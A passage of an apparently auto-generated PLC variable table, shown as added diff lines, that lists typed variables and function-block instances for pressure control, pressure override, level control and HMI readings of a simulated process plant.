+199;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +200;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +201;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;REAL; +202;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;REAL; +203;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;REAL; +204;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;REAL; +205;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +206;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +207;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +208;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +209;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +210;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +211;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +212;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +213;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +214;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +215;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +216;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;REAL; +217;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;REAL; +218;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;REAL; +219;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;REAL; +220;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;INT; +221;VAR;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;INT; +222;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;INT; +223;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;INT; +224;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;INT; +225;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;INT; +226;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;INT; +227;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;INT; +228;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;INT; +229;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;INT; +230;VAR;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;UINT; +231;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;PRESSURE_OVERRIDE; +232;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;BOOL; +233;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;BOOL; +234;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;REAL; +235;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;UINT; +236;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;UINT; +237;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;REAL; +238;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;REAL; +239;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;REAL; +240;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;REAL; +241;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;UINT; +242;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;REAL; +243;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;UINT; +244;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;REAL; +245;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;REAL; +246;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;TIME; +247;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;SCALE_TO_REAL; +248;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;BOOL; +249;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;BOOL; +250;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;UINT; +251;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;REAL; +252;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;REAL; +253;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;REAL; +254;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;UINT; +255;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;UINT; +256;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;REAL; +257;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;REAL; +258;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;REAL; +259;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;REAL; +260;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;REAL; +261;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;REAL; +262;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;SCALE_TO_REAL; +263;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;BOOL; +264;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;BOOL; +265;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +266;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;REAL; +267;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;REAL; +268;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;REAL; +269;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;UINT; +270;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;UINT; +271;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;REAL; +272;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;REAL; +273;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;REAL; +274;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;REAL; +275;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;REAL; +276;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;REAL; +277;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;REAL; +278;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;REAL; +279;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;REAL; +280;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;UINT; +281;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;LEVEL_CONTROL; +282;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;BOOL; +283;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;BOOL; +284;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;UINT; +285;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;UINT; +286;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;UINT; +287;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;UINT; +288;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;TIME; +289;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;REAL; +290;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;REAL; +291;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +292;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +293;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +294;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +295;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +296;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +297;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +298;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +299;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +300;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +301;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +302;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;REAL; +303;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;REAL; +304;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;REAL; +305;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;REAL; +306;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;REAL; +307;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +308;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +309;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +310;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +311;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +312;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +313;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +314;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +315;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +316;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +317;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +318;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +319;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +320;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +321;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +322;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +323;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +324;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +325;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +326;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +327;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +328;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +329;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +330;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +331;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +332;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +333;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +334;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +335;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +336;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +337;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +338;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +339;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; 